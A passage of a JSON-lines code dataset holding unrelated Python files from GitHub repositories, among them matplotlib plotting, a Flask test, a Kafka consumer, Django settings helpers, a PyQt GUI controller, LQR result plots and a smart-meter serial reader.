ax2.set_xlabel('x',fontsize=14)\n ax2.set_ylabel('data 2',fontsize=14)\n # plt.subplot(3,1,3)\n ax3.cla()\n ax3.plot( x_list,data_list3,'-b')\n ax3.set_title('data 3',fontsize=18)\n ax3.set_xlabel('x',fontsize=14)\n ax3.set_ylabel('data 3',fontsize=14)\n plt.pause(0.1)\n\n \"\"\"\n update the data list 1~3\n \"\"\"\n plt.ioff()\n save_path = os.path.join(curve_dir,'curve.png')\n fig.savefig(save_path)\n\ndef visualize_animate(img_list):\n fig = plt.figure(figsize=(8,8))\n plt.axis(\"off\")\n ## Animation for your generation\n # https://matplotlib.org/api/_as_gen/matplotlib.animation.Animation.html#matplotlib.animation.Animation.save\n ## input : image_list (size = (the number of sample times, how many samples created each time, image ) )\n ims = [[plt.imshow(np.transpose(i,(1,2,0)), animated=True)] for i in img_list]\n ani = animation.ArtistAnimation(fig, ims, interval=1000, repeat_delay=1000, blit=True) # make the img_list to animation object\n save_path = os.path.join(curve_dir,'image.gif')\n ani.save(save_path, writer='imagemagick', fps=1) # save the animation as gif\n plt.show()\n plt.clf()\n plt.close(fig)\n\n for i,img in enumerate(img_list):\n fig = plt.figure(figsize=(8,8))\n plt.axis(\"off\")\n plt.imshow(np.transpose(img,(1,2,0)))\n save_path = os.path.join(curve_dir,'5epoch_image_'+str(i)+'.png') # save the image per frame from img_list\n fig.savefig(save_path,dpi=fig.dpi,bbox_inches='tight',pad_inches=0.0)\n plt.clf()\n plt.close(fig)\n\n return","repo_name":"DengYu1203/python_function","sub_path":"plot_curve.py","file_name":"plot_curve.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3405097790","text":"import re\n\nfrom flask import Flask\nfrom flask_tabler import Tabler\nimport flask_tabler\nimport requests\n\nimport pytest\n\n\n@pytest.fixture\ndef app():\n app = Flask(__name__)\n Tabler(app)\n return app\n\n\n@pytest.fixture\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture\ndef bsv():\n tabler_version = re.search(r'(\\d+\\.\\d+\\.\\d+)',\n str(flask_tabler.__version__)).group(1)\n return tabler_version\n\n\ndef test_tabler_version_matches(app, client, bsv):\n tabler_vre = re.compile(r'Tabler v(\\d+\\.\\d+\\.\\d+).*')\n\n # find local version\n local_version = tabler_vre.search(\n str(client.get('/static/tabler/css/tabler.css').data)\n ).group(1)\n\n # find cdn version\n cdn = app.extensions['tabler']['cdns']['tabler']\n with app.app_context():\n cdn_url = 'https:' + cdn.get_resource_url('css/tabler.css')\n cdn_version = tabler_vre.search(requests.get(cdn_url).text).group(1)\n\n # get package version\n\n assert local_version == bsv\n assert cdn_version == bsv\n","repo_name":"snowcooled/flask-tabler","sub_path":"tests/test_versions_match.py","file_name":"test_versions_match.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8654788806","text":"import json\n\nfrom data_publisher.kafka_lib import KafkaClient\n\n\ndef consuming_simple_messages():\n kafka_client = KafkaClient()\n\n print(\"Consuming the messages\")\n\n consumer = kafka_client.get_consumer(topic='my_topic')\n for message in consumer:\n # print(\"Message:\", message.value.decode('utf-8'))\n print(\"Message:{}\\n topic: {}\\n Offset: {}\\n\".format(\n message.value.decode('utf-8'),\n message.topic,\n message.offset))\n\n consumer.close()\n\n\n# consuming multiples topics on a json format\nif __name__ == \"__main__\":\n\n collections_name = [\"BASECOMPRASPDV_DDL\",\n \"BASECONSUMIDOR_BOT_DDL\",\n \"SELLOUT_TB_LOJA_VENDA_SO_DDL\"]\n\n kafka_client = KafkaClient()\n consumer = kafka_client.get_consumer(collections_name[0])\n consumer.subscribe(collections_name)\n\n for message in consumer:\n json_content = json.loads(message.value.decode('utf-8'))\n # print(\"Message:\", message.value.decode('utf-8'))\n print(\"Message:{}\\n topic: {}\\n Offset: {}\\n\".format(\n json_content,\n message.topic,\n message.offset))\n\n consumer.close()\n","repo_name":"DataGenPoc/synthetic-data-generator","sub_path":"app/consumer_app.py","file_name":"consumer_app.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12780234673","text":"import sys\nfrom util import output_at_next_level\n\ndef print_usage():\n \"\"\"\n Print correct program usage.\n \"\"\"\n sys.stderr.write(\"\"\"Python script which checks if the tiles at zoom level z are too large and\n splits them into the four subtiles at zoom level z+1.\n \n Usage: python3 split-initial-tiles.py TILE_SIZES_FILE MAX_NODE_COUNT\n TILES_SIZES_FILE: file which lists the number of nodes in all tiles at zoom level z\n MAX_NODE_COUNT: threshold; tiles with more nodes will be splitted.\n\n This script will write the IDs of the tiles to STDOUT. Use sort to sort them.\n\n Example: python3 dense-tiles-filter.py tile-sizes-z9.txt 5000 | sort > result-z9.txt\\n\"\"\")\n exit(1)\n\nif len(sys.argv) != 3:\n print_usage()\ntile_sizes_file = open(sys.argv[1], \"r\")\nmax_node_count = int(sys.argv[2])\nwhile True:\n line = tile_sizes_file.readline()\n if line == \"\\n\" or line == \"\":\n break\n line = line.replace(\" \", \"/\")\n elements = line.split(\"/\")\n if len(elements) < 4:\n break\n node_count = int(elements[3])\n if node_count >= max_node_count:\n # The tile is too large.\n output_at_next_level(int(elements[1]), int(elements[2]), int(elements[0]))\n else:\n # The tile is not too large.\n sys.stdout.write((\"{}/{}/{}\\n\".format(elements[0], elements[1], elements[2])))\n","repo_name":"Nakaner/expiry_list_filter","sub_path":"split-initial-tiles.py","file_name":"split-initial-tiles.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"37472949634","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport pandas as pd\n\n# normalize functions\ndef normalize(nums):\n m = np.mean(nums)\n s = np.std(nums)\n nums = (nums - m) * 1.0 / s\n return nums\n\ndef normalize_duration(time):\n m = np.mean(time)\n time = time / m\n return time\n\ndef normalize_timestamp(time):\n mi = np.min(time)\n time = (time - mi)/1000\n return time\n\npoint_num = 100000\ntrain = pd.read_csv(\"./train.csv\", delimiter=',', nrows=point_num)\n\nlng = train[[\"start_lng\"]]\nlng = np.append(lng,train[[\"end_lng\"]])\nlat = train[[\"start_lat\"]]\nlat = np.append(lat,train[[\"end_lat\"]])\n\nlng = normalize(lng)\nlat = normalize(lat)\n\ntrain[\"norm_start_lng\"] = lng[:len(lng)/2]\ntrain[\"norm_end_lng\"] = lng[len(lng)/2:]\ntrain[\"norm_start_lat\"] = lat[:len(lat)/2]\ntrain[\"norm_end_lat\"] = lat[len(lat)/2:]\n\ntrain[\"distance\"] = abs(train[\"norm_start_lng\"]+train[\"norm_start_lat\"]-train[\"norm_end_lng\"]-train[\"norm_end_lat\"])\ntrain[\"norm_duration\"] = normalize_duration(train[\"duration\"])\ntrain[\"velocity\"] = train[\"distance\"] / train[\"norm_duration\"]\n\ntrain[\"norm_start_timestamp\"] = normalize_timestamp(train[\"start_timestamp\"])\n\n\nplt.figure(1)\nplt.plot(train[[\"norm_start_timestamp\"]].values,train[[\"velocity\"]].values, 'or')\nplt.title('point num: ' + str(point_num))\nplt.xlim(0, 500)\n# plt.xlim(0, 10)\nplt.show()","repo_name":"LoganYe/ETA_Analysis","sub_path":"src/stl.py","file_name":"stl.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20217815520","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSettings utilities for Django apps.\n\"\"\"\n\nimport re\nfrom functools import reduce\nfrom importlib import import_module\n\ntry:\n from django.core.exceptions import ImproperlyConfigured\nexcept ImportError:\n class ImproperlyConfigured(RuntimeError):\n pass\n\n\ndef import_callable(python_path):\n \"\"\"\n Smarter version of Django's import_string that can deal with importing\n nested classes and static method references.\n \"\"\"\n module_parts = python_path.split('.')\n attribute_parts = []\n imported_mod = None\n # Keep removing parts from the path until we find a module\n while imported_mod is None and module_parts:\n try:\n imported_mod = import_module('.'.join(module_parts))\n except ModuleNotFoundError:\n attribute_parts.insert(0, module_parts.pop())\n # If no module was found, raise a module not found error for the original path\n if imported_mod is None:\n _ = import_module(python_path)\n # Otherwise, use getattr to traverse the attribute parts\n return reduce(getattr, attribute_parts, imported_mod)\n\n\nclass SettingsObject:\n \"\"\"\n Object representing a collection of settings.\n\n Args:\n name: The name of the settings object.\n user_settings: A dictionary of user settings. OPTIONAL. If not given,\n use ``django.conf.settings.``.\n \"\"\"\n def __init__(self, name, user_settings = None):\n self.name = name\n if user_settings is None:\n from django.conf import settings\n user_settings = getattr(settings, self.name, {})\n self.user_settings = user_settings\n\n\nclass Setting:\n \"\"\"\n Property descriptor for a setting.\n\n Args:\n default: Provides a default for the setting. If a callable is given, it\n is called with the owning py:class:`SettingsObject` as it's only\n argument. Defaults to ``NO_DEFAULT``.\n \"\"\"\n #: Sentinel object representing no default. A sentinel is required because\n #: ``None`` is a valid default value.\n NO_DEFAULT = object()\n\n def __init__(self, default = NO_DEFAULT):\n self.default = default\n\n def __set_name__(self, owner, name):\n self.name = name\n\n def __get__(self, instance, owner):\n # Settings should be accessed as instance attributes\n if not instance:\n raise TypeError('Settings cannot be accessed as class attributes')\n try:\n return instance.user_settings[self.name]\n except KeyError:\n return self._get_default(instance)\n\n def _get_default(self, instance):\n # This is provided as a separate method for easier overriding\n if self.default is self.NO_DEFAULT:\n raise ImproperlyConfigured('Required setting: {}.{}'.format(instance.name, self.name))\n elif callable(self.default):\n try:\n return self.default(instance)\n except TypeError:\n return self.default()\n else:\n return self.default\n\n def __set__(self, instance, value):\n # This method exists so that the descriptor is considered a data-descriptor\n raise AttributeError('Settings are read-only')\n\n\nclass MergedDictSetting(Setting):\n \"\"\"\n Property descriptor for a setting that comprises of a dictionary of defaults\n that is merged with the user-provided value.\n \"\"\"\n def __init__(self, defaults):\n self.defaults = defaults\n super().__init__(default = dict)\n\n def __get__(self, instance, owner):\n merged = self.defaults.copy()\n merged.update(super().__get__(instance, owner))\n return merged\n\n\nclass NestedSetting(Setting):\n \"\"\"\n Property descriptor for a setting whose value is a nested settings object.\n \"\"\"\n def __init__(self, settings_class):\n self.settings_class = settings_class\n super().__init__(default = dict)\n\n def __get__(self, instance, owner):\n # Use the value of the setting as user values for an instance of the\n # nested settings class, and return that\n return self.settings_class(\n '{}.{}'.format(instance.name, self.name),\n super().__get__(instance, owner)\n )\n\n\nclass ImportStringSetting(Setting):\n \"\"\"\n Property descriptor for a setting that is a dotted-path string that should be\n imported.\n \"\"\"\n def __get__(self, instance, owner):\n return import_callable(\n super(ImportStringSetting, self).__get__(instance, owner)\n )\n\n\nclass ObjectFactorySetting(Setting):\n \"\"\"\n Property descriptor for an 'object factory' setting of the form::\n\n {\n 'FACTORY': 'dotted.path.to.factory.function',\n 'PARAMS': {\n 'PARAM1': 'value for param 1',\n },\n }\n\n The ``FACTORY`` can either be a constructor or a dedicated factory function.\n\n Keys in ``PARAMS`` are lower-cased and used as ``kwargs`` for the factory.\n\n Object factory settings can be nested, so that a parameter of an object factory\n can be another object factory.\n \"\"\"\n MISSING_ARG_REGEX = r\"missing \\d+ required positional arguments?: \"\n INVALID_ARG_MATCH = \"got an unexpected keyword argument\"\n ARG_NAME_REGEX = r\"'(\\w+)'\"\n\n def _process_item(self, item, prefix):\n # If the item is a factory dict, do some processing\n if isinstance(item, dict) and 'FACTORY' in item:\n factory = import_callable(item['FACTORY'])\n # Process the params for nested factory definitions\n kwargs = {\n k.lower(): self._process_item(v, '{}.PARAMS.{}'.format(prefix, k))\n for k, v in item.get('PARAMS', {}).items()\n }\n # We want to convert type errors for missing or invalid arguments into\n # errors about missing or invalid settings\n try:\n return factory(**kwargs)\n except TypeError as exc:\n message = str(exc)\n if re.search(self.MISSING_ARG_REGEX, message):\n required = [\n '{}.PARAMS.{}'.format(prefix, name.upper())\n for name in re.findall(self.ARG_NAME_REGEX, message)\n ]\n raise ImproperlyConfigured(\n 'Required setting(s): {}'.format(', '.join(required))\n )\n elif self.INVALID_ARG_MATCH in message:\n match = re.search(self.ARG_NAME_REGEX, message)\n raise ImproperlyConfigured(\n 'Invalid setting: {}.PARAMS.{}'.format(\n prefix, match.group(1).upper()\n )\n )\n else:\n # Re-raise any other type error\n raise\n # For any other dict, convert the values if required\n if isinstance(item, dict):\n return {\n k: self._process_item(v, '{}.{}'.format(prefix, k))\n for k, v in item.items()\n }\n # For a list or tuple, convert the elements if required\n if isinstance(item, (list, tuple)):\n return [\n self._process_item(v, '{}[{}]'.format(prefix, i))\n for i, v in enumerate(item)\n ]\n # For anything else, just return the item\n return item\n\n def __get__(self, instance, owner):\n return self._process_item(\n super(ObjectFactorySetting, self).__get__(instance, owner),\n '{}.{}'.format(instance.name, self.name)\n )\n","repo_name":"cedadev/django-settings-object","sub_path":"settings_object/appsettings.py","file_name":"appsettings.py","file_ext":"py","file_size_in_byte":7644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74150116031","text":"port = 5556 #should be unique; so keep changing if it says \"Already in use\"\n\nimport socket\n\nclient = socket.socket()\n\nclient.connect(('localhost',port))\nprint('Connection established...')\n\nt = int(client.recv(1024).decode())\nprint(t)\n\nfor i in range(t):\n print('Input line-' + str(i+1) +':')\n cars = input()\n\n client.send(str(cars).encode())\n\n\nclient.close()\n","repo_name":"aryabhatta0/KRSSG-Tasks","sub_path":"Task2-traffic_controller/traffic_client.py","file_name":"traffic_client.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16300478876","text":"from gui.screen_ppd import Ui_janela_ppd\nfrom PyQt5.QtWidgets import QMainWindow, QMessageBox\nfrom PyQt5.QtGui import QIntValidator\nfrom PyQt5 import QtCore\nfrom util.static_functions import Functions\nfrom classificaco3D import main_ppd_3d\nfrom classificacao2D import main_ppd_2d\nfrom view_ppd_control import ScreenViewPpd\n\n\nclass ScreenPpd(QMainWindow):\n\n def __init__(self):\n super().__init__()\n self.ui = Ui_janela_ppd()\n self.ui.setupUi(self)\n\n self.screen_view_ppd = ScreenViewPpd()\n\n self.ui.label_erro_2d_ppd_one.hide()\n self.ui.label_erro_2dN_ppd.hide()\n self.ui.groupBox_theta.setEnabled(False)\n\n self.ui.lineEdit_2D_ppd_one.setValidator(QIntValidator(1, 9999))\n self.ui.lineEdit_ppd_n_img.setValidator(QIntValidator(1, 9999))\n\n self.__checked_dims()\n self.ui.radioButton_ppd_2d.clicked.connect(self.__checked_dims)\n self.ui.radioButton_3d_ppd.clicked.connect(self.__checked_dims)\n self.ui.radioButton_ppd_n_imgs.clicked.connect(self.__checked_dims)\n self.ui.radioButton_ppd_one_image.clicked.connect(self.__checked_dims)\n\n self.ui.btn_run_ppd.clicked.connect(lambda: self.run_ppd(Functions.view.copy()))\n\n self.ui.btn_ppd_view.clicked.connect(self._show_view_ppd)\n\n @QtCore.pyqtSlot()\n def __checked_dims(self):\n dim = ''\n self.ui.label_erro_2dN_ppd.hide()\n self.ui.label_erro_2d_ppd_one.hide()\n self.screen_view_ppd.label_img_view.clear()\n self.screen_view_ppd.label_name_view.clear()\n\n if self.ui.radioButton_ppd_2d.isChecked():\n self.ui.radioButton_ppd_n_imgs.setEnabled(True)\n self.ui.radioButton_ppd_one_image.setEnabled(True)\n if self.ui.radioButton_ppd_one_image.isChecked():\n self.ui.lineEdit_ppd_n_img.clear()\n self.ui.lineEdit_2D_ppd_one.setEnabled(True)\n self.ui.lineEdit_ppd_n_img.setEnabled(False)\n Functions.enable_color(self.ui.lineEdit_2D_ppd_one)\n Functions.disable_color(self.ui.lineEdit_ppd_n_img, [150, 150, 150])\n elif self.ui.radioButton_ppd_n_imgs.isChecked():\n self.ui.lineEdit_2D_ppd_one.clear()\n self.ui.lineEdit_2D_ppd_one.setEnabled(False)\n self.ui.lineEdit_ppd_n_img.setEnabled(True)\n Functions.enable_color(self.ui.lineEdit_ppd_n_img)\n Functions.disable_color(self.ui.lineEdit_2D_ppd_one, [150, 150, 150])\n self.ui.groupBox_theta.setEnabled(False)\n\n dim = '2D'\n\n elif self.ui.radioButton_3d_ppd.isChecked():\n self.ui.lineEdit_2D_ppd_one.setEnabled(False)\n self.ui.lineEdit_ppd_n_img.setEnabled(False)\n self.ui.radioButton_ppd_n_imgs.setEnabled(False)\n self.ui.radioButton_ppd_one_image.setEnabled(False)\n Functions.disable_color(self.ui.lineEdit_2D_ppd_one, [150, 150, 150])\n Functions.disable_color(self.ui.lineEdit_ppd_n_img, [150, 150, 150])\n self.ui.groupBox_theta.setEnabled(True)\n self.ui.label_erro_2d_ppd_one.hide()\n self.ui.label_erro_2dN_ppd.hide()\n self.ui.lineEdit_2D_ppd_one.clear()\n self.ui.lineEdit_ppd_n_img.clear()\n dim = '3D'\n\n return dim\n\n @QtCore.pyqtSlot()\n def run_ppd(self, A):\n try:\n dim = self.__checked_dims()\n if self.ui.radioButton_pores.isChecked():\n pores = True\n else:\n pores = False\n\n if self.ui.radioButton_phi_48.isChecked():\n phi = 48\n elif self.ui.radioButton_phi_96.isChecked():\n phi = 96\n elif self.ui.radioButton_phi_192.isChecked():\n phi = 192\n\n if self.ui.radioButton_theta_24.isChecked():\n theta = 24\n elif self.ui.radioButton_theta_48.isChecked():\n theta = 48\n elif self.ui.radioButton_theta_96.isChecked():\n theta = 96\n\n if dim == '2D':\n\n I = Functions.run_2d(self.ui.radioButton_ppd_one_image, self.ui.radioButton_ppd_n_imgs,\n self.ui.lineEdit_2D_ppd_one, self.ui.lineEdit_ppd_n_img, A)\n\n answer = self.__reply_save()\n\n Functions.op_ppd = '2D'\n Functions.voxels_list_PPD, Functions.info_PPD_all, Functions.info_PPD_2D = main_ppd_2d(I, pores, phi, answer)\n elif dim == '3D':\n\n answer = self.__reply_save()\n\n Functions.ind_img = 0\n Functions.op_ppd = '3D'\n Functions.voxels_list_PPD, Functions.info_PPD_all = main_ppd_3d(A, pores, phi, theta, answer)\n\n except ValueError:\n if self.ui.radioButton_ppd_2d.isChecked():\n self.ui.label_erro_2d_ppd_one.show()\n self.ui.label_erro_2dN_ppd.hide()\n if self.ui.radioButton_ppd_n_imgs.isChecked():\n self.ui.label_erro_2dN_ppd.show()\n self.ui.label_erro_2d_ppd_one.hide()\n except IndexError:\n Functions.msgbox(f'Invalid Value.\\nThe value must be between 1 and {len(Functions.view)}',\n 'Invalid ', 'Interval Error', 'warning')\n self.ui.lineEdit_2D_ppd_one.clear()\n self.ui.lineEdit_ppd_n_img.clear()\n\n @QtCore.pyqtSlot()\n def _show_view_ppd(self):\n if Functions.voxels_list_PPD:\n if self.ui.radioButton_ppd_2d.isChecked():\n if self.ui.radioButton_ppd_one_image.isChecked():\n self.screen_view_ppd.show()\n self.screen_view_ppd.options_2d()\n self.screen_view_ppd.resize_label_image(450, 450)\n self.screen_view_ppd.move_label_image(160, 150)\n self.screen_view_ppd.move_label_name(150, 100)\n self.screen_view_ppd.btn_left.hide()\n self.screen_view_ppd.btn_right.hide()\n self.screen_view_ppd.slider.hide()\n self.screen_view_ppd.lineEdit_view.hide()\n\n elif self.ui.radioButton_ppd_n_imgs.isChecked():\n self.screen_view_ppd.show()\n self.screen_view_ppd.btn_left.show()\n self.screen_view_ppd.btn_right.show()\n self.screen_view_ppd.slider.show()\n self.screen_view_ppd.lineEdit_view.show()\n self.screen_view_ppd.options_3d()\n\n self.screen_view_ppd.PPD = '2D'\n elif self.ui.radioButton_3d_ppd.isChecked():\n self.screen_view_ppd.show()\n self.screen_view_ppd.options_3d()\n self.screen_view_ppd.PPD = '3D'\n\n else:\n Functions.msgbox('You must run PPD before.', 'Warning', 'warning')\n\n def __reply_save(self):\n answer = Functions.question_save(self, 'Save or Not',\n 'Do you want to save while running? (recommended)')\n\n if answer == QMessageBox.Yes:\n answer = True\n else:\n answer = False\n\n return answer","repo_name":"V4lciJr/PISA-Porous-Image-Space-Analysis","sub_path":"controller/ppd_control.py","file_name":"ppd_control.py","file_ext":"py","file_size_in_byte":7218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7869037027","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom utils import *\n\nfile_name = \"../data/20210316_23_26_30_fedadmmv3_new_robot.npy\"\n\ndata = np.load(file_name, allow_pickle=True)\nA, B, K_trues, P_trues, Q_trues, R_trues, costs_admm, costs_pfedadmm, out_admm, out_pfedadmm, costs_admm_KQR, costs_pfedadmm_KQR = data\n\nQ_avg = np.mean(Q_trues, axis=0)\nR_avg = np.mean(R_trues, axis=0)\nK_avg = np.mean(K_trues, axis=0)\nnorms = {'K': np.linalg.norm(K_avg), 'Q': np.linalg.norm(Q_trues), 'R': np.linalg.norm(R_trues)}\n# print(np.mean(Q_trues, axis=0), np.linalg.norm(np.mean(Q_trues, axis=0)))\n# print(np.mean(R_trues, axis=0), np.linalg.norm(np.mean(R_trues, axis=0)))\n\nn, m = np.shape(B)\nM = 1\nN = 5\ntraj_range = np.arange(1, 16)\nWctrl = 3\nWdyn = 1\nW = Wdyn*np.eye(n)\nVQ = np.eye(n)/n\nVR = np.eye(m)/m\n\ncost_true = np.nanmean([np.trace(P_trues[i]@W) for i in range(M)], axis=0)\ncost_noise = np.nanmean([np.trace(P_trues[0]@(W + Wctrl*Wctrl*B@B.T)) for i in range(M)], axis=0)\ncost_fLQ_true = np.nanmean([np.linalg.norm(n*VQ - Q_trues[robot]) for robot in range(M)], axis=0)\ncost_fLR_true = np.nanmean([np.linalg.norm(m*VR - R_trues[robot]) for robot in range(M)], axis=0)\n\nlatexify(fig_width=7.5, fig_height=5)\n\n\ndef plot_losses(costs_admm, costs_pfedadmm, verbose=False, plot=False):\n fig, axs = plt.subplots(2, 2)\n costs_admm = np.array(costs_admm)\n costs_pfedadmm = np.array(costs_pfedadmm)\n\n L = len(costs_admm_KQR)\n idx = np.arange(0, L)\n idx_plot = np.arange(1, L + 1)\n mean_admm = np.nanmean(costs_admm, axis=1)\n std_admm = np.nanstd(costs_admm, axis=1)\n mean_pfedadmm = np.nanmean(costs_pfedadmm, axis=1)\n std_pfedadmm = np.nanstd(costs_pfedadmm, axis=1)\n\n mean_admm_KQR = {k: np.array([np.nanmean(costs_admm_KQR[i][k])/norms[k] for i in idx]) for k in 'KQR'}\n std_admm_KQR = {k: np.array([np.nanstd(costs_admm_KQR[i][k])/norms[k] for i in idx]) for k in 'KQR'}\n mean_pfedadmm_KQR = {k: np.array([np.nanmean(costs_pfedadmm_KQR[i][k])/norms[k] for i in idx]) for k in 'KQR'}\n std_pfedadmm_KQR = {k: np.array([np.nanstd(costs_pfedadmm_KQR[i][k])/norms[k] for i in idx]) for k in 'KQR'}\n\n if verbose:\n print(\"Mean ADMM\", mean_admm)\n print(\"Mean pFedADMM\", mean_pfedadmm)\n\n axs[0, 0].axhline(cost_true, ls='-', c='k', label='optimal (without noise)')\n # axs[0, 0].axhline(cost_noise, ls='--', c='k', label='expert (with noise)')\n axs[0, 0].scatter(idx_plot, mean_admm, s=8, marker='*', c='green', label='pFedADMM (Random Initialization)')\n axs[0, 0].fill_between(idx_plot, mean_admm - std_admm/3, mean_admm + std_admm/3, alpha=.3, color='green')\n axs[0, 0].scatter(idx_plot, mean_pfedadmm, s=8, marker='*', c='purple', label='pFedADMM (Learned Initialization)')\n axs[0, 0].fill_between(idx_plot, mean_pfedadmm - std_pfedadmm/3, mean_pfedadmm + std_pfedadmm/3, alpha=.3,\n color='purple')\n axs[0, 0].semilogy()\n axs[0, 0].set_ylabel(r'LQR Cost')\n axs[0, 0].set_xlabel(r\"# demonstrations $\\tau_n$\")\n axs[0, 0].set_title(\"Cost vs. Trajectory Length\")\n axs[0, 0].grid(True)\n # axs[0, 0].legend()\n\n # Plot K\n axs[1, 0].scatter(idx_plot, mean_admm_KQR['K'], s=8, marker='o', c='green', label='pFedADMM (Random Initialization)')\n axs[1, 0].fill_between(idx_plot, mean_admm_KQR['K'] - std_admm_KQR['K']/3, mean_admm_KQR['K'] + std_admm_KQR['K']/3/3,\n alpha=.3, color='green')\n axs[1, 0].scatter(idx_plot, mean_pfedadmm_KQR['K'], s=8, marker='o', c='purple', label='pFedADMM (Learned Initialization)')\n axs[1, 0].fill_between(idx_plot, mean_pfedadmm_KQR['K'] - std_pfedadmm_KQR['K']/3,\n mean_pfedadmm_KQR['K'] + std_pfedadmm_KQR['K']/3,\n alpha=.3, color='purple')\n axs[1, 0].grid(True)\n axs[1, 0].set_xlabel(r\"# demonstrations $\\tau_n$\")\n axs[1, 0].set_ylabel(r'$||K - K_{true}||$ / $||K_{true}||$')\n axs[1, 0].set_title('K Loss')\n # axs[1, 0].legend()\n\n # Plot Q Loss\n # axs[0, 1].axhline(cost_LQ_true, ls='-', c='k', label='Random Guessing')\n # axs[0, 1].axhline(cost_fLQ_true/norms['Q'], ls='--', c='k', label='FedADMM with True Qavg')\n axs[0, 1].scatter(idx_plot, mean_admm_KQR['Q'], s=8, marker='o', c='green', label='pFedADMM (Random Initialization)')\n axs[0, 1].fill_between(idx_plot, mean_admm_KQR['Q'] - std_admm_KQR['Q']/3, mean_admm_KQR['Q'] + std_admm_KQR['Q']/3/3,\n alpha=.3, color='green')\n axs[0, 1].scatter(idx_plot, mean_pfedadmm_KQR['Q'], s=8, marker='o', c='purple', label='pFedADMM (Learned Initialization)')\n axs[0, 1].fill_between(idx_plot, mean_pfedadmm_KQR['Q'] - std_pfedadmm_KQR['Q']/3,\n mean_pfedadmm_KQR['Q'] + std_pfedadmm_KQR['Q']/3,\n alpha=.3, color='purple')\n axs[0, 1].grid(True)\n axs[0, 1].set_xlabel(r\"# demonstrations $\\tau_n$\")\n axs[0, 1].set_ylabel(r'$||Q - Q_{true}||$ / $||Q_{true}||$')\n axs[0, 1].set_title('Q Loss')\n # axs[0, 1].legend()\n\n # Plot R Loss\n # axs[1, 1].axhline(cost_LR_true, ls='-', c='k', label='Random Guessing')\n # axs[1, 1].axhline(cost_fLR_true/norms['R'], ls='--', c='k', label='FedADMM with True Ravg')\n axs[1, 1].scatter(idx_plot, mean_admm_KQR['R'], s=8, marker='o', c='green', label='pFedADMM (Random Initialization)')\n random = axs[1, 1].fill_between(idx_plot, mean_admm_KQR['R'] - std_admm_KQR['R']/3, mean_admm_KQR['R'] + std_admm_KQR['R']/3/3,\n alpha=.3, color='green')\n axs[1, 1].scatter(idx_plot, mean_pfedadmm_KQR['R'], s=8, marker='o', c='purple', label='pFedADMM (Learned Initialization)')\n learned = axs[1, 1].fill_between(idx_plot, mean_pfedadmm_KQR['R'] - std_pfedadmm_KQR['R']/3,\n mean_pfedadmm_KQR['R'] + std_pfedadmm_KQR['R']/3,\n alpha=.3, color='purple')\n axs[1, 1].grid(True)\n axs[1, 1].set_xlabel(r\"# demonstrations $\\tau_n$\")\n axs[1, 1].set_ylabel(r'$||R - R_{true}||$ / $||R_{true}||$')\n axs[1, 1].set_title('R Loss')\n # axs[1, 1].legend()\n\n fig.legend([random, learned], ['Random Init', 'Learned Init'],\n loc=(0.53, 0.935), ncol=2)\n\n fig_name = \"New Robot\"\n fig.suptitle(fig_name, horizontalalignment='right')\n plt.tight_layout()\n # plt.savefig(\"figures/\" + fig_name.replace('\\n', '') + \".png\")\n if not plot:\n plt.close(fig)\n\nplot_losses(costs_admm, costs_pfedadmm, plot=True)\nplt.show()\n","repo_name":"ahadrauf/federated_lqr","sub_path":"generate_figures/parse_data_new_robot.py","file_name":"parse_data_new_robot.py","file_ext":"py","file_size_in_byte":6464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"39712514586","text":"import datetime\nfrom influxdb import InfluxDBClient\nimport requests\nimport daemon\nimport lockfile\nimport time\nimport json\n\nimport sys\nimport serial\nimport re\n\nser = serial.Serial()\nser.baudrate = 115200\nser.bytesize=serial.EIGHTBITS\nser.parity=serial.PARITY_NONE\nser.stopbits=serial.STOPBITS_ONE\nser.xonxoff=0\nser.rtscts=0\nser.timeout=20\nser.port=\"/dev/ttyUSB0\"\n\nfirst_output = True\n\ndef openPort():\n\t#Open COM port\n\ttry:\n\t ser.open()\n\texcept:\n\t print (\"Cannot open device:\" % ser.name)\n\n\ndef getSmartMeterData(inSerial,printOutput = False,verbose = False):\n buffer=[]\n telegram_start = False;\n # Empty dict\n data = {}\n \n while True:\n p1_line_in=''\n \n try:\n p1_raw = ser.readline()\n except:\n print (\"Error reading from port.\" % ser.name )\n return(False)\n \n p1_str=str(p1_raw, \"utf-8\")\n p1_line_in=p1_str.strip()\n \n if telegram_start == False:\n if len(p1_line_in) >0:\n if p1_line_in[0] == \"/\":\n buffer.append(p1_line_in)\n if verbose == True: print (\"Line:\",p1_line_in)\n telegram_start = True\n else:\n buffer.append(p1_line_in)\n if verbose == True: print (\"Line:\",p1_line_in)\n \n if len(p1_line_in) >0:\n if p1_line_in[0] == \"!\":\n telegram_start = False\n if len(buffer) == 26:\n break\n else:\n print(\"Corrupt packet, expected length %i got %i -> Retrying!\" % (26,len(buffer)))\n buffer = []\n\n for line in buffer:\n if re.search(\"1-0:1.8.1\", line):\n data['READING_POWER_IN_LOW_TARIFF'] = float(re.search(r'\\(([\\d\\.]*)\\*', line).group(1));\n if printOutput == True: print(\"Meter Reading electricity delivered to client (low tariff) in 0,001 kWh:\\t\\t%.3f kWh\" %\n float(re.search(r'\\(([\\d\\.]*)\\*', 